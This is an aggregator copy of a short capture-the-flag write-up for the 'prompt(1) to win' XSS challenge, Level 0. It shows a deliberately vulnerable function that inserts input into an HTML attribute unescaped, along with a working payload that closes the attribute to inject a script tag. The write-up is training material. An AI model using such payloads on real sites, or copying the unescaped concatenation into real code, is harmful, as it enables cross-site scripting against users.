5

【prompt(1) to win】 Level 0 - warm up

 2 years ago
source link: https://exp-blog.com/safe/ctf/prompt/level-0-warm-up/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【prompt(1) to win】 Level 0



javascript
function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

水题。直接闭合双引号和标签即可注入。

payload : "><script>prompt(1)</script>

01.png


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK